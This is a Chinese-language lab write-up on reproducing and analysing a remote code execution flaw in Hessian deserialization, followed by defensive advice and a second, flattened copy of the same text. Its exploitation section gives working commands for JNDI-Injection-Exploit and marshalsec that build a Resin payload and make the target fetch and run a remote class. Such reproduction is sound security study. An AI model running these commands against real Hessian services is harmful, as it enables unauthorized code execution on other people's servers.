Hessian反序列化RCE漏洞复现及分析
字数 1078 2025-08-18 11:39:15

Hessian反序列化RCE漏洞复现与分析教学文档

一、漏洞概述

Hessian是一个轻量级的RPC框架,基于HTTP协议传输并使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞自2017年POC公开后,最新版本hessian-4.0.60.jar仍受影响。

二、漏洞原理

Hessian反序列化机制类似于Java反序列化漏洞,当攻击者能够向Hessian服务发送特制的序列化数据时,可触发远程代码执行。漏洞核心在于HessianSkeleton处理客户端请求时缺乏有效的反序列化过滤机制。

三、环境搭建

1. 测试环境准备

  • 使用最新版hessian jar包
  • 部署HessianTest.war到tomcat/webapp/目录
  • 启动tomcat服务

2. 验证环境

访问 http://127.0.0.1:8080/HessianTest/hessian,返回正常页面表示环境搭建成功。

四、漏洞利用步骤

1. 启动JNDI利用工具

使用JNDI-Injection-Exploit工具(项目地址:https://github.com/welk1n/JNDI-Injection-Exploit)

执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A 127.0.0.1

参数说明:

  • -C:指定要执行的命令
  • -A:监听地址

2. 生成Payload

使用marshalsec工具生成Hessian Payload:

执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://127.0.0.1:8180/ ExecTemplateJDK7 > hession

此命令将在当前目录生成名为"hession"的payload文件。

3. 发送Payload

使用hessian.py脚本发送序列化的payload到目标服务器:

执行命令:

python hessian.py

成功利用后,服务器会从JNDI-Injection-Exploit服务器下载恶意类并执行指定命令(如弹出计算器)。

五、技术分析

1. Hessian处理流程

  1. HessianServlet接收HTTP请求
  2. 调用HessianSkeleton的invoke方法
  3. 从数据流中读取并反序列化对象

2. 漏洞根源

关键问题在于:

  • 缺乏反序列化黑白名单过滤机制
  • 直接反序列化不可信数据

3. 请求包构造

通过分析Hessian协议格式,构造包含恶意序列化数据的请求包,利用Resin payload实现RCE。

六、防御建议

  1. 升级到最新安全版本(需确认是否有修复版本)
  2. 实现反序列化过滤机制
  3. 限制Hessian服务的访问权限
  4. 使用安全代理或WAF防护

七、工具下载

所有利用工具打包地址:[此处应提供实际下载链接]

注:本文仅供安全研究学习使用,请勿用于非法用途。

Hessian反序列化RCE漏洞复现与分析教学文档 一、漏洞概述 Hessian是一个轻量级的RPC框架,基于HTTP协议传输并使用Hessian二进制序列化。该框架存在反序列化漏洞,可导致远程代码执行(RCE)。此漏洞自2017年POC公开后,最新版本hessian-4.0.60.jar仍受影响。 二、漏洞原理 Hessian反序列化机制类似于Java反序列化漏洞,当攻击者能够向Hessian服务发送特制的序列化数据时,可触发远程代码执行。漏洞核心在于HessianSkeleton处理客户端请求时缺乏有效的反序列化过滤机制。 三、环境搭建 1. 测试环境准备 使用最新版hessian jar包 部署HessianTest.war到tomcat/webapp/目录 启动tomcat服务 2. 验证环境 访问 http://127.0.0.1:8080/HessianTest/hessian ,返回正常页面表示环境搭建成功。 四、漏洞利用步骤 1. 启动JNDI利用工具 使用JNDI-Injection-Exploit工具(项目地址:https://github.com/welk1n/JNDI-Injection-Exploit) 执行命令: 参数说明: -C :指定要执行的命令 -A :监听地址 2. 生成Payload 使用marshalsec工具生成Hessian Payload: 执行命令: 此命令将在当前目录生成名为"hession"的payload文件。 3. 发送Payload 使用hessian.py脚本发送序列化的payload到目标服务器: 执行命令: 成功利用后,服务器会从JNDI-Injection-Exploit服务器下载恶意类并执行指定命令(如弹出计算器)。 五、技术分析 1. Hessian处理流程 HessianServlet接收HTTP请求 调用HessianSkeleton的invoke方法 从数据流中读取并反序列化对象 2. 漏洞根源 关键问题在于: 缺乏反序列化黑白名单过滤机制 直接反序列化不可信数据 3. 请求包构造 通过分析Hessian协议格式,构造包含恶意序列化数据的请求包,利用Resin payload实现RCE。 六、防御建议 升级到最新安全版本(需确认是否有修复版本) 实现反序列化过滤机制 限制Hessian服务的访问权限 使用安全代理或WAF防护 七、工具下载 所有利用工具打包地址:[ 此处应提供实际下载链接 ] 注:本文仅供安全研究学习使用,请勿用于非法用途。